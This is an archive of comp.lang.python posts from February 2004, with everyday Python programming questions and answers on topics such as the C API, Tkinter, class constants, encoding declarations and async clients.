Message-ID: <sOO%b.41951$BD3.8059632@juliett.dax.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Bob Ippolito wrote:
Perhaps writing a new script language using the builtin parser module
would solve the problems... Any pre-made scripting languages written in
python out in the wild?

| On 2004-02-26 21:21:37 -0500, "Terry Reedy" <tjreedy at udel.edu> said:
|
|>
|> "Noen" <not.available at na.no> wrote in message
|> news:hQq%b.41604$BD3.8026233 at juliett.dax.net...
|>
|>> Im developing a game where the players will program their equipment with
|>> python. Are there any ways to run insecure code?
|>
|>
|> safely, without letting
|>
|>  > clients mess with the server-code through their own code, or even DOS
|> the box
|>
|>> by using up too much memory.
|>
|>
|> There have been several threads on this topic.  Quick answer: nothing as
|> good as you would want.  Stackless, with its tasklets, may be your
|> best bet
|> once updated to run with 2.3.3.
|
|
| Even with stackless, you're not going to be able to stop them from using
| "too much memory".  Besides, you can't stop a determined and experienced
| python hacker from getting ANYTHING (even if it's written in C) ;)
|
| Stackless 3.0 (Python 2.3.3) compiles and works just fine from CVS HEAD,
| and I believe windows binaries are even available.  Of course,
| documentation is lacking, and we're planning to do quite a bit of stuff
| during the sprints next month.. but it's good enough to use if you
want to.
|
| -bob
|

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAP7kZ9vKlXPxSchIRAnFEAJ9hyB2zj54ZWvm4xyCaXwMk+xeQAQCdGEqB
4uZcunGZf7tO1xqS78QER8Q=
=dFNj
-----END PGP SIGNATURE-----



From mcfletch at rogers.com  Wed Feb 25 15:48:18 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 25 Feb 2004 15:48:18 -0500
Subject: Python/C: unsigned Py_BuildValue, PyInt_FromLong
In-Reply-To: <c1iqr9$1is69j$1@uni-berlin.de>
References: <c1iqr9$1is69j$1@uni-berlin.de>
Message-ID: <403D0A12.7040305@rogers.com>

You're likely looking for:

    PyLong_FromUnsignedLong
    http://www.python.org/doc/2.3.3/api/longObjects.html

Unsigned ints can be longer than Python 32-bit signed integers, so 
either do a check for the high-bit being set and use 
PyLong_FromUnsignedLong for that case and PyInt_FromLong otherwise, or 
just always use PyLong_FromUnsignedLong and eat the slight performance 
penalty of having longs everywhere.

HTH,
Mike

Christian Vogel wrote:

>Hi comp.lang.python readers,
>
>are there routines to create a Python integer from unsigned C-integers?
>
>I only could find Py_BuildValue[1] and PyInt_FromLong[2] which both only use
>signed c-integers. Is there another way I overlooked?
>
>[1]: http://www.python.org/doc/2.3.3/api/arg-parsing.html
>        ParseValue knows "k" for unsigned long, BuildValue doesn't.
>
>[2]: http://www.python.org/doc/2.3.3/api/intObjects.html
>        PyInt_FromLong only uses a signed integer.
>
>        Chris
>  
>
 
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From dietrich at zdome.net  Sun Feb  8 15:50:29 2004
From: dietrich at zdome.net (Dietrich Epp)
Date: Sun, 8 Feb 2004 12:50:29 -0800
Subject: hex(id(...)) and negative id's, 6 questions
In-Reply-To: <20040207103754.GA4145@nl.linux.org>
References: <20040207103754.GA4145@nl.linux.org>
Message-ID: <6DE50784-5A78-11D8-BC18-0003934ACDEC@zdome.net>


On Feb 7, 2004, at 2:37 AM, Gerrit wrote:

> Hi,
>
> in my own classes, I usually implement __repr__ with something like:
>
>             hex(id(obj))
>
> ...in order to simulate the behaviour of built-in types.
>
> However, since I upgraded to Fedora Core 1 and Linux Kernel
> 2.4.22-1.2163.nptl, id(obj) is usually negative. Why is it negative?

My guess is that it's due to changes in memory allocation.  It's 
nothing to worry about.  Don't depend on the values returned by id(), 
they depend on the OS, the version of Python, the type of the object, 
and the phases of the moons of Saturn.  For instance, since I use OS X, 
my id()s are very small (and they fit in short-term memory).

Obj uses %p in it's __repr__ function, which is implemented in C, not 
Python.  It doesn't even call id().

My question is why you implement __repr__, when you get object's 
behavior for free.

 >>> class foo:
...     pass
...
 >>> class bar(object):
...     pass
...
 >>> print repr(foo()), repr(bar())
<__main__.foo instance at 0x6d260> <__main__.bar object at 0x6b730>

All automatic!




From chouyiyu at hotmail.com  Tue Feb 10 17:16:22 2004
From: chouyiyu at hotmail.com (Yi-Yu Chou)
Date: Tue, 10 Feb 2004 22:16:22 +0000
Subject: Lots of Actors (Peter Hansen)
Message-ID: <BAY8-F63T0Y5K2aBpJ500013d12@hotmail.com>

Sorry !!! I didn't explain my problem clearly.
My problem is not the slowness of the execution, but the "unsommothness" 
when
displaying the line segments. The reason that casues the problem is : I 
used too many 
actors to represent line segments. Therefore, I tried to find a new method 
to do it.
Thanks for your help !!!!

_________________________________________________________________
???? MSN ???????????????????????????????
? http://msn.com.tw 




From brent at bjohnson.net  Fri Feb 20 17:08:49 2004
From: brent at bjohnson.net (Brent L Johnson)
Date: Fri, 20 Feb 2004 17:08:49 -0500
Subject: Installing RPM rebuild and failed dependency
In-Reply-To: <slrnc3csnq.6af.christht@colargol.tihlde.org>
Message-ID: <03b301c3f7fe$21530a70$c801a8c0@torpedo>

> Why can't you use the db4 packages included in RH9?

Ummmmm - well... I figured there was probably a RH9
package for the Berkeley DB but I wasnt sure what
the package name was.  db4 eh?  I'll take a look.

Thanks,

- Brent




From maxm at mxm.dk  Thu Feb 26 04:14:07 2004
From: maxm at mxm.dk (Max M)
Date: Thu, 26 Feb 2004 10:14:07 +0100
Subject: No Thoughts about Everything
In-Reply-To: <mailman.120.1077729552.8594.python-list@python.org>
References: <mailman.120.1077729552.8594.python-list@python.org>
Message-ID: <403db8c3$0$227$edfadb0f@dread12.news.tele.dk>

bblochl wrote:

> I tried that in the following in the following prog:
> 
> class Mytest:
>   LOGE_10=2.302585092994046
>   #"Klassenkonstante" (static final?)
>   #def __init__(self):
>          def log10(self,x):
>       return(log(x)/Mytest.LOGE_10)
> 
> One can see that one can change the constant LOGE_10 without any 
> problem! So it is weather in Theory nor in practice a constant? That is 
> not the needed functionality. Or did I not understand your proposes 
> concept and did something wrong in the code ?
> 
> I am very thankful for any help to solve that central problem!

Personally I don't find the issue is that important. I have not 
experienced in practice that ALL_CAPS wasn't enough of a convention not 
to change a variable.

But I think that this will make shure that there *is* problems when 
changing LOGE_10::

LOGE_10 = lambda: 2.302585092994046
print LOGE_10()

LOGE_10 = 42
print LOGE_10()


 >>2.30258509299
 >>Traceback (most recent call last):
   File "E:\maxm\pys\x.py", line 5, in ?
     print LOGE_10()
TypeError: 'int' object is not callable




regards Max M


From scrutinizer at gmx.at  Fri Feb  6 11:54:23 2004
From: scrutinizer at gmx.at (Francesco)
Date: Fri, 06 Feb 2004 17:54:23 +0100
Subject: wxPyAtol
References: <mailman.1119.1075715840.12720.python-list@python.org>
Message-ID: <tkh7205m9li0nmn2to029n6qm7g772uil5@4ax.com>

On Mon, 2 Feb 2004 09:48:39 -0000, Tim Golden
<tim.golden at viacom-outdoor.co.uk> wrote:

> [... snip announcement of wxPyAtol ...]
>


Hello Tim,

thank you for your answer,

> >
> >Maybe someone could help me and give me some pointers:
> >In the source, it is marked with todo.
> >for example to retrieve the imagelist from Windows fileextensions
> >self.m_hImageList = windll.shell32.SHGetFileInfo('.txt',
> >win32file.FILE_ATTRIBUTE_NORMAL, byref(shfileinfo),
> >sizeof(shfileinfo), dwFlags)
> >How can I get this in python?
>
> I'm a little confused. I've run the app, but I can't see
> how to invoke the code which uses the CImageList class.

I didn't use it, because i coudln't get it run.

I used (in Mainframe.py):
        self.il = wxImageList(16, 16)
        self.il.Add(wxBitmap('xpm/up_dir.xpm'))
        self.il.Add(wxBitmap('xpm/folder.xpm'))
        self.il.Add(wxBitmap('xpm/blank.xpm'))

> I'm assuming that it would be displayed the image within
> a file beside the filename and so on.
>

yes, that's right.

> You obviously know what you're about with respect to
> Win32 Shell functions and so on, and you're obviously
> using ctypes (and calldll) already. So which bit is
> it that doesn't work? Or what happens when you try?

Maybe I explained a little to less. I'v updated "my wxPyAtol" Homepage
a
little:
http://my.heim.at/franciss. (I hope, it works)

As a second mail, I received, Niki Spahiev recommends to use the
wxpython
mime manager from the demo.
But in wxwindows, that seems so easy to initialize the imagelist with:
  m_hImageList = SHGetFileInfo(".txt", FILE_ATTRIBUTE_NORMAL, &sfi,
sizeof(SHFILEINFO), dwFlags );


>
> To answer what I think your question is: there's no
> other way in Python at the moment to extract the
> image from a file (apart from an insane attempt to
> open arbitrary files and look for byte-patterns!).
> win32all doesn't wrap SHGetFileInfo, so ctypes / calldll
> is your only way.

Yes, I will try this, but I'm not expert at the ctypes / calldll
things,
but I keep going learning :)

best regards

-- 
Francesco


From http  Tue Feb 10 03:38:43 2004
From: http (Paul Rubin)
Date: 10 Feb 2004 00:38:43 -0800
Subject: Async Client with 1K connections?
References: <65779ce6.0402092357.73df9783@posting.google.com>
Message-ID: <7xad3re3cc.fsf@ruckus.brouhaha.com>

williamichang at hotmail.com (William Chang) writes:
> I need extremely efficient and robust _client_ software for some
> common protocols like HTTP and POP3, supporting 1,000 simultaneous
> independent connections and commensurate network throughput.  The data
> get written to files or sockets, so no GUI needed.
> 
> I am not a Python programmer :-( but I am a "fan" :-) and I have been
> reading about asyncore/Medusa/Twisted -- which would be my best bet?

Seriously, I'd probably use asyncore since it's the simplest.  Twisted
is more flexible but maybe you don't need that.

Why do you want to write this client in Python?  What is it doing?

Rather than going crazy tuning the software, you can parallelize it
and run it on multiple boxes.  Does that work for you?

> Any advantage to using a particular unix/version -- Linux 32/64bit? 
> FreeBSD 4/5? Solaris Sun/Intel?

Google has something like 8000 servers in its farm, running 32 bit
Linux, so they're probably onto something.  Solaris is a lot slower.
64 bit Linux is maybe too new to deploy in some big production system.


From simoninusa2001 at yahoo.co.uk  Sun Feb 15 15:00:36 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 15 Feb 2004 12:00:36 -0800
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
Message-ID: <30260531.0402151200.35c850b0@posting.google.com>

I think the main gain is from the lack of the compilation/linking
process.

I have C++/Java pogramming friends (I've dabbled too) and the biggest
hinderance to getting an app up and running is the "change code ->
compile+link (read the newspaper) -> test, doesn't work, change code
-> compile+link (make some coffee) -> test" cycle

Being able to save+run is great with scripting languages. This is why
a lot of C++/Qt programmers I know are switching to Python+PyQt or
Qt+QSA, as in these 3+GHz days, we don't really need the extra speed
from compilation, but saving a few hours of expensive programmer's
time is useful.

Other niceties are on-the-fly debugging/errors - Python and Perl have
this, PHP is useless at debugging, C/C++ just core dumps....

A prime example was the other day at work - I wrote a console utility,
then wrapped a TKinter GUI around it, which took about 10 minutes to
do. I then decided to add a feature which needed another widget that
TKinter doesn't have, so converted it to PyQt, I then found that a
colleauge wanted a copy for Windows, but we didn't have a commercial
license, so converted it to wxPython, all of which took under an hour,
I didn't even use QtDesigner/wxDesigner for my forms.

My C++ programming friend said that would have taken him most of a
morning to do, and then he'd have to build a separate copy for each of
Solaris, Windows and Linux.


From eniac at sdf-eu.org  Wed Feb 25 05:54:55 2004
From: eniac at sdf-eu.org (Geiregat Jonas)
Date: Wed, 25 Feb 2004 10:54:55 +0000
Subject: checksum 
Message-ID: <403c7fad$0$770$ba620e4c@news.skynet.be>

I've written a small app to share data in a lan.
I would like to be able to do some kind of checksum checking on the 
files. How could this be implemented ?


From theller at python.net  Tue Feb 17 09:50:52 2004
From: theller at python.net (Thomas Heller)
Date: Tue, 17 Feb 2004 15:50:52 +0100
Subject: 2.3 encoding parsing bug
References: <10349ardb7psua3@corp.supernews.com>
Message-ID: <k72lhi9f.fsf@python.net>

"Edward K. Ream" <edreamleo at charter.net> writes:

> The documentation for encoding lines at
>
> C:\Python23\Doc\Python-Docs-2.3.1\whatsnew\section-encodings.html
>
> states:
>
> "Encodings are declared by including a specially formatted comment in the
> first or second line of the source file."
>
> In fact, contrary to the implication, the Python 2.3 parser does not look
> for lines of the form:
>
> # -*- coding: <encoding> -*-
>
> For example, Python improperly scans the following line for an encoding
>
> #@+leo-ver=4-encoding=iso-8859-1.
>
> and reports that iso-8859-1. (note trailing dot) is an invalid encoding!
>
> The workaround for my app is to precede this line with the following line:
>
> # -*- coding: iso-8859-1 -*-
>
> This makes Python 2.3 happy.
>
> To make myself perfectly clear: Python has absolutely no right to complain
> about comment lines that do not have the form:
>
> # -*- coding: <encoding> -*-
>

You should probably file a bug report for this.

Thomas


From simoninusa2001 at yahoo.co.uk  Tue Feb 10 01:37:07 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 9 Feb 2004 22:37:07 -0800
Subject: Mcmillen Installer Question
References: <2e3b9aea.0402040603.7d9b535d@posting.google.com>
Message-ID: <30260531.0402092237.79542a6@posting.google.com>

andywil at nortelnetworks.com (Glawster) wrote:

> DeprecationWarning: the FCNTL module is deprecated; please use fcntl

> DeprecationWarning: the TERMIOS module is deprecated; please use termios

Read the errors, you're using uppercase module names, I've had this a
few times and actually think it's legacy code in Installer.

> DeprecationWarning: the regex module is deprecated; please use the re module

This is in your code I think - the regular expression module in 2.3.3
is called 're' not 'regex', e.g. re.compile()

> CCPS INSTALL STARTING...
> 
> The CCPS_DATA_PATH is not defined !!!

I expect your program is failing as the path never got matched in the
regex.

Don't give up, Installer is great!

Does your program run OK in Windows (using the Python interpreter)?
This way we can see if it's Linux/Windows issues or Installer.


From ncw at axis.demon.co.uk  Fri Feb 13 01:40:47 2004
From: ncw at axis.demon.co.uk (Nick Craig-Wood)
Date: 13 Feb 2004 06:40:47 GMT
Subject: How to avoid "f.close" (no parens) bug?
References: <b16e4ef7.0402110701.5acf67e4@posting.google.com>
	<402B85BE.A73089C5@engcorp.com>
Message-ID: <slrnc2o0p1.puf.ncw@irishsea.home.craig-wood.com>

Peter Hansen <peter at engcorp.com> wrote:
>  Stephen Ferg wrote:
> > I've just spent several very frustrating hours tracking down a bug in
> > one of my programs.  The problem was that I was writing text to a
> > file, and when I was done I coded
> > 
> >    f.close
> > 
> > when I should have been coding
> > 
> >    f.close()
> > 
> > with the parentheses.
> 
>  One thing no one has done here yet is to ask about your background
>  in programming.

As a long time Perl programmer I've found myself making exactly that
mistake in Python.  In Perl method calls don't need parens if the call
doesn't take any arguments.

However I've also discovered pychecker ;-)

-- 
Nick Craig-Wood
ncw at axis.demon.co.uk


From jjl at pobox.com  Sun Feb  1 19:30:48 2004
From: jjl at pobox.com (John J. Lee)
Date: 02 Feb 2004 00:30:48 +0000
Subject: How to optimised with embedded Python ?
References: <401C62C5.C5ECABF7@free.fr>
Message-ID: <87fzduiapz.fsf@pobox.com>

Emmanuel <eastier at free.fr> writes:

> I would like to use optimised python scripts ( *.pyo ), in order to gain
> space.
> But I use an embedded python. The compiler can only be run from my
> application.
> How do I set the compiler, from the C api, to create optimised files ?

There's a "compileall" script in the source distribution that should
show you how to do it.


John


From skip at pobox.com  Tue Feb 24 22:05:09 2004
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 24 Feb 2004 21:05:09 -0600
Subject: Regular Expressions?
In-Reply-To: <c1h0gr+ikvn@eGroups.com>
References: <c1h0gr+ikvn@eGroups.com>
Message-ID: <16444.4325.451103.16608@montanaro.dyndns.org>


    soheil2> I want to use a regular expression like the following: 
    soheil2> "*[\s|\w]*" + x +"[\s|\w]*\" + y + "*[\s|\w]*\" + y + "*[\s|\w]*"

    soheil2> where x and y and varaiblae names and their value changes
    soheil2> everytime. For some reason this gives me an Invalid Token
    soheil2> error. Can I use variables in a regular Expression?

Yes, you can, however you have two string literals in which you are escaping
the trailing quotation mark.  Try this instead:

    "*[\s|\w]*" + x +"[\s|\w]*\\" + y + "*[\s|\w]*\\" + y + "*[\s|\w]*"

It's not clear just what you're after, but I think this will probably lead
you further on the path to enlightenment:

    r"*[\s|\w]*%(x)s[\s|\w]*\%(y)s*[\s|\w]*\%(y)s*[\s|\w]*" % locals()

where x and y are local variables.

Skip



From paul at prescod.net  Sat Feb 14 11:51:57 2004
From: paul at prescod.net (Paul Prescod)
Date: Sat, 14 Feb 2004 08:51:57 -0800
Subject: Allowing non-ASCII identifiers
In-Reply-To: <00e301c3f272$50a41530$0000fea9@dell8200>
References: <00e301c3f272$50a41530$0000fea9@dell8200>
Message-ID: <402E522D.4030203@prescod.net>

Brian Quinlan wrote:
>>So other programming languages make non-ASCII characters possible but
>>English-speakers do not end up paying any price. So what's the problem?
> 
> 
> If we ever need to read any Python code that uses non-ASCII characters then
> we pay a price.

We're going around in circles. In languages where non-ASCII identifiers 
are allowed you say that you've never once had a problem with them. You 
spend a lot of time in one such language and I've spent a lot of time in 
other such languages. Why would it be a problem for Python if it is not 
for them?

 > ... I don't find that argument convincing because the lack of
> widespread problems might be related to the lack of widespread usage.

Some people claim (emphatically) that they would use it and also say 
that they would use it responsibly in a way that doesn't inconvenience 
other users. Perhaps this is what happens in the C#, Java, etc. worlds.
  I'm not sure that the API necessarily needs to know anything about this
> problem. The API user just has to use the usual Python mechanisms to
> work-around the issue e.g.
> 
> someComObject.getattr('yield')(2,3)
> someRPCServer.getattr('yield')(2,3)

I think you mean getattr(someComObject('yield'))(2,3,)

It's a little verbose but I agree that it is probably a sufficient way 
to work around the problem.

  Paul Prescod




From jeremy+plusnews at jeremysanders.net  Fri Feb 27 05:23:57 2004
From: jeremy+plusnews at jeremysanders.net (Jeremy Sanders)
Date: Fri, 27 Feb 2004 10:23:57 +0000
Subject: Simple question for all of you python gurus
References: <NYu%b.12366$qL1.145@fed1read02>
	<103svepnqovuk5e@corp.supernews.com>
Message-ID: <pan.2004.02.27.10.23.57.126600@jeremysanders.net>

On Thu, 26 Feb 2004 23:14:33 +0000, Cameron Laird wrote:

>   os.chdir("/home/%s/.tmda/pending" % userid)
>   li = os.popen(...

Wouldn't something like this also work?

li = os.popen('/bin/sh -c "cd /home/%s; /usr/bin/grep -i %s blah"')

This has the advantage that the current directory of the Python program
doesn't change.

Jeremy



From dave at pythonapocrypha.com  Wed Feb 25 12:57:30 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Wed, 25 Feb 2004 10:57:30 -0700
Subject: No Thoughts about Everything
References: <403CC4FB.7040204@compuserve.de><mailman.107.1077724553.8594.python-list@python.org>
	<30lp30lukdq945km2dj83dhican7ege0i1@4ax.com>
Message-ID: <026c01c3fbc8$d6e097e0$6401fea9@YODA>

Arthur wrote:
> >class Foo:
> >  BAR = 10
> >
> >Voila! BAR is now a "class constant" - shared among all instances of the
class
> >Foo (in theory it's not a constant, but in practice it is :) ).
> >
> >HTH,
> >Dave
> >
>
> But not 'final'.
>  I am only anticipating a response.
>
> IMO - if I am understanidng the issues correctly - it is a perfectly
> adequate solution.  Simple to get across to beginners..
>
> The issue of making the constant 'final' is a production programming
> issue.  And whether Python does or does not need it is not an issue
> relative to teaching beginners.  The fact that production programming
> concerns are introduced  at that stage of the game is, I think, where
> many who would otherwise have an intellectual intererst in programming
> fall of the wagon.  Wanting to understand programming and wanting to
> be a production programmer can be very different things.

True, but IMO this particular issue is invalid as a "production programming
concern" as well - it doesn't prevent any problems that actually occur in
practice, or if it does, you have bigger problems on your hands. It falls into
the same bucket of concerns as "our programmers are untrained monkeys and/or
are seeking to destroy our company from the inside".

-Dave




From nav+posts at bandersnatch.org  Thu Feb  5 12:48:48 2004
From: nav+posts at bandersnatch.org (Nick Vargish)
Date: 05 Feb 2004 12:48:48 -0500
Subject: OT: Recommended news reader?
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
Message-ID: <m3y8rhbenz.fsf@tanelorn.bandersnatch.org>

miki.tebeka at zoran.com (Miki Tebeka) writes:

> Which news reader do you recommend?

Gnus.

But, like Unix, it's not for everyone. If you already use (X)Emacs,
the learning curve is quite reasonable.

http://my.gnus.org
http://www.gnus.org

Nick

-- 
#  sigmask  ||  0.2  ||  20030107  ||  public domain  ||  feed this to a python
print reduce(lambda x,y:x+chr(ord(y)-1),' Ojdl!Wbshjti!=obwAcboefstobudi/psh?')


From ed-no at spam-eepatents.com  Wed Feb  4 01:46:31 2004
From: ed-no at spam-eepatents.com (Ed Suominen)
Date: Tue, 03 Feb 2004 22:46:31 -0800
Subject: How your company think about python?
References: <20020818190150.09802b6e.d2002xx@myrealbox.com>
	<b6562547.0208190632.6fe24f8f@posting.google.com>
	<3d6122dd.1993601@news.bcsupernet.com>
Message-ID: <M6-dnRqXJqLWCL3dRVn-ig@centurytel.net>

I have been quietly developing scripts for my own use with TCL and have been
sitting out the newsgroup for about a year. I was very pleased to see the
level of continued activity.

One of my next major projects will be a redesign of my website. I took a
look at the various options for a dynamically generated site, including
various packages written in different scripting languages. But what I
decided on was tclhttpd.

getwellness4u at yahoo.ca wrote:

> What apparent death of Tcl ?
> 
> What limitations of Tk for crossplatform death ?
> 
> js
> 
> On 19 Aug 2002 07:32:22 -0700, tim at lesher.ws (Tim Lesher) wrote:
> 
>>d2002xx <d2002xx at myrealbox.com> wrote in message
>>news:<20020818190150.09802b6e.d2002xx at myrealbox.com>...
>>> Would you tell me how your company (or your boss, colleagues) think
>>> about python? A possible next-generation mainstream? Or just another
>>> script? Or they even never heard it?
>>
>>The short answer is "A replacement for Tcl".
>>
>>We currently use Tcl as the UI for a crossplatform applications; given
>>the apparent death of Tcl and the limitations of Tk for good
>>crossplatform UI work, we're switching to Python/wxPython.
>>
>>--
>>Tim Lesher
>>tim at lesher.ws
> 
> // signature ------------------------------------
> Take the xxx out of my email address.
> 
> "Some will believe and rightly so, that there are other
> forms of riches more desireable than money. Yes, there
> are riches which can not be measured in terms of
> dollars, but there are millions of people who will
> say, 'Give me all the money I need, and I will find
> everything else I want.' "
> Napoleon Hill
> See http://www.lifeforce-intl.com/134808
> 
> Improve your life, health and wealth awaits for you.
> // ---------------------------------------------------



From mwh at python.net  Fri Feb  6 10:47:12 2004
From: mwh at python.net (Michael Hudson)
Date: Fri, 6 Feb 2004 15:47:12 GMT
Subject: Defining *class* methods on C code
References: <hdy59tu8.fsf@python.net> <m3znbw4fjb.fsf@pc150.maths.bris.ac.uk>
	<isik6x7h.fsf@python.net>
Message-ID: <m3n07w43cw.fsf@pc150.maths.bris.ac.uk>

Thomas Heller <theller at python.net> writes:

> Michael Hudson <mwh at python.net> writes:
> 
> > Thomas Heller <theller at python.net> writes:
> >
> >> I once knew how to do it, but I cannot find or remember it anymore:
> >> 
> >> How can I attach *class* methods to a type in C code, when I have a
> >> function
> >> 
> >> PyObject *func(PyObject *type, PyObject *arg);
> >> 
> >> with the METH_O calling convention?  The type is already created, I
> >> cannot insert it into the tp_methods array anymore.
> >> 
> >> Something like this:
> >> 
> >> class X(object):
> >>     pass
> >> 
> >> def func(cls, arg):
> >>     ....
> >> 
> >> X.func = classmethod(func)
> >
> > Just stuff it into tp_dict?  You'll need to make the method object
> > yourself, but that's easy.
> >
> > I think you probably have to hope that the name of the class method
> > isn't a special method name (you'd want to call
> > typeobject.c:update_slots then, but I don't think you can arrange for
> > that to happen from outside typeobject.c as all the juicy symbols are
> > static).
> 
> No special names.  Here's the code:
> 
> static PyObject *my_method(PyObject *self, PyObject *arg)
> {
> 	Py_INCREF(arg);
> 	return arg;
> }
> 
> static PyMethodDef my_methods[] = {
> 	{ "my_method", my_method, METH_O },
> 	{ NULL, NULL },
> };
> 
> and then ('type' is the type where I want to create the class method on):
> 
> 	if (somecondition) {
> 		PyObject *func;
> 		PyObject *meth;
> 		PyMethodDef *ml = my_methods;
> 
> 		for (; ml->ml_name; ++ml) {
> 			func = PyCFunction_New(ml, NULL);
> 			if (!func)
> 				return NULL;
> 			meth = PyClassMethod_New(func);

How about "meth = PyDescr_NewClassMethod(result, ml);" here?

> 			if (!meth)
> 				return NULL;
> 			if (-1 == PyDict_SetItemString(result->tp_dict,
> 						       ml->ml_name,
> 						       meth))
> 				return NULL;
> 		}
> 	}
> 
> I know that there are refcount leaks in this snippet, but that's not the
> point.
> 
> Trying out the method:
> 
> c:\sf\ctypes>py23 -c "from ctypes import *; print c_int.my_method()"
> <class 'ctypes.c_int'>
> 
> c:\sf\ctypes>py23 -c "from ctypes import *; print c_int.my_method(0)"
> Traceback (most recent call last):
>   File "<string>", line 1, in ?
> TypeError: my_method() takes exactly one argument (2 given)
> c:\sf\ctypes>
> 
> Works *nearly*, but I would have expected that the method accepts one
> parameter, pass it as 'arg' to the C function, plus the type itself as
> 'self'.

Oh... I wouldn't have :-)

> > Or just stick TP_HEAPTYPE into tp_flags, use PyObject_SetAttr and take
> > TP_HEAPTYPE out again (that's very sick, though).
> 
> Um, why that?

Well, if "my_method" was spelt "__add__", say, you'd want to call
typeobject.c:update_slots() to get the function into the
tp_as_number.nb_add fields of the type and all the subclasses.  The
hack I outline is one way of doing that.

Cheers,
mwh

-- 
  Every now and then, Google doesn't throw up what I need so I start
  checking Altavista, Yahoo, etc.  In almost every single case, I am
  brutally reminded why I use Google in the first place.
                                                  -- John Riddoch, asr


From gsmith at oxfam.org.uk  Mon Feb  2 04:48:51 2004
From: gsmith at oxfam.org.uk (Graham)
Date: Mon, 2 Feb 2004 09:48:51 -0000
Subject: Pythonwin - breaking out of infinite loop
References: <40193737$0$13350$ed9e5944@reading.news.pipex.net>
Message-ID: <401e1c16$0$9386$ed9e5944@reading.news.pipex.net>

Thanks to everyone who replied here.

Graham




From M.Boeren at guidance.nl  Wed Feb 18 08:58:34 2004
From: M.Boeren at guidance.nl (Marc Boeren)
Date: Wed, 18 Feb 2004 14:58:34 +0100
Subject: Hello World with pywin
Message-ID: <7BE0F4A5D7AED2119B7500A0C94C58AC3D6FBC@DELLSERVER>


> Can someone point me to Hello World examples with a Windows window,
> some text, and one or two buttons. The Tk logo should not be visible,
> so I suppose that I should use pywin or win32ui or something similar.

Or use 

app.wm_iconbitmap('youricon.ico')

to replace Tk's icon with your own.

Cheerio, Marc.



From paul at prescod.net  Wed Feb 18 07:07:32 2004
From: paul at prescod.net (Paul Prescod)
Date: Wed, 18 Feb 2004 04:07:32 -0800
Subject: Netscan and Python
In-Reply-To: <cpabro0ypv8.fsf@cabernet.nelson.monkey.org>
References: <mailman.35.1076810936.31398.python-list@python.org>
	<cpabro0ypv8.fsf@cabernet.nelson.monkey.org>
Message-ID: <40335584.8050207@prescod.net>

Nelson Minar wrote:

>...
> Another random thought - folks often look at the relative lack of
> Python books vs. Perl books as a sign of Python's weakness. Isn't it
> strength? Python is so simple and the online docs are so good I never
> even thought about learning it from a book.

That is also true for me. Perl 4 is almost certainly the last language I 
learned primarily from a book and I really wanted to hurl that Camel 
book through the window.

I also think that books are a trailing indicator. The most likely person 
to buy a book is someone about to be interviewed for a Python job or 
someone who needs to maintain a large Python code base. If you are just 
playing around with Python for your own fun (as early adopters tend to 
be), you may not want to shell out.

The recent shift in this newsgroup to newbies with very specific 
problems suggests to me that the market is starting to become ready for 
specialized Python books (e.g. VB to Python, Perl to Python, Python for 
multimedia, Python algoritms for your homework, ...).

That said, Tim O'Reilly recently told me that Python books are "merely" 
flat while other book sales dropped off after the boom. Also, Learning 
Python is selling very well. I am quite confident based on a variety of 
anecdotal measures that 2003 was a big growth year for Python.

Given that Python's growth is not driven by nor capped by the growth of 
any other technology (e.g. the Internet, the Web, Linux, etc.) I expect 
continued rapid growth in 2004 and 2005.

  Paul Prescod





From __peter__ at web.de  Wed Feb 11 12:32:59 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 11 Feb 2004 18:32:59 +0100
Subject: Principiante in cerca di spiegazione!
References: <72eeefd4.0402110843.115a8e60@posting.google.com>
Message-ID: <c0dp0b$bmr$00$1@news.t-online.com>

Augusto wrote:

> Ciao a tutti,
> premetto a tutti che st? imparando proprio adesso a studiare python ed
> ho il seguente problema ... questo script copiato pari pari da un
> tutorial mi rid? un'errore che non capisco.. questo ? il codice:
> 
> from Tkinter import *       # importo il modulo
> 
> # costruisco una mia classe che gestisce la finestra
> class Application(Frame):
> 
>     # metodo che scrive un messaggio a video
>     def scrivi_messaggio(self):
> self.mess["text"] = "Ciao a tutti!",
> 
>     # metodo che pulisce il messaggio a video
>     def cancella_messaggio(self):
> self.mess["text"] = "",
> 
>     # metodo costruttore che crea gli oggetti grafici
>     def __init__(self, master=None):
> f = Frame(master)
> f.pack()

You may be mixing tabs and spaces. Try to use *only* spaces.
Every thing from here...
> 
>     # crea il bottone di uscita (di colore rosso)
>     self.esci = Button(f)
>     self.esci["text"] = "QUIT"
>     self.esci["fg"]   = "red"
>     self.esci["command"] =  f.quit
>     self.esci.pack({"side": "left"})
> 
>     # crea il bottone che permette di scrivere il messaggio
>     self.butt_mess = Button(f)
>     self.butt_mess["text"] = "Scrivi",
>     self.butt_mess["command"] = self.scrivi_messaggio
>     self.butt_mess.pack({"side": "left"})
> 
>     # crea il bottone che permette di pulire il messaggio
>     self.butt_canc_mess = Button(f)
>     self.butt_canc_mess["text"] = "Cancella",
>     self.butt_canc_mess["command"] = self.cancella_messaggio
>     self.butt_canc_mess.pack({"side": "left"})
> 
>     # crea l'oggetto grafico che contiene il messaggio
>     self.mess = Message(f)
>     self.mess["text"] = "",
>     self.mess.pack({"side": "left"})

... to here must be indented to the same level as the two first lines in 
the body of the __init__() method

> # corpo principale del programma
> finestra = Tk()
> app = Application(finestra)
> finestra.mainloop()
> 
> e mi ritorna un'errore come:
> 
> Traceback (most recent call last):
>   File "C:/Python23/tests/tkinter.py", line 4, in -toplevel-
>     class Application(Frame):
>   File "C:/Python23/tests/tkinter.py", line 20, in Application
>     self.esci = Button(f)
> NameError: name 'f' is not defined

f is only known inside the body of __init__()

> 
> ?? Eppure la var f ? definita nell' _INIT_
> 
> qualcuno mi s? spiegare perch??
> 
> Grazie in anticipo!
> 
> Augusto

Remember: whitespace *is* significant in Python.

Peter

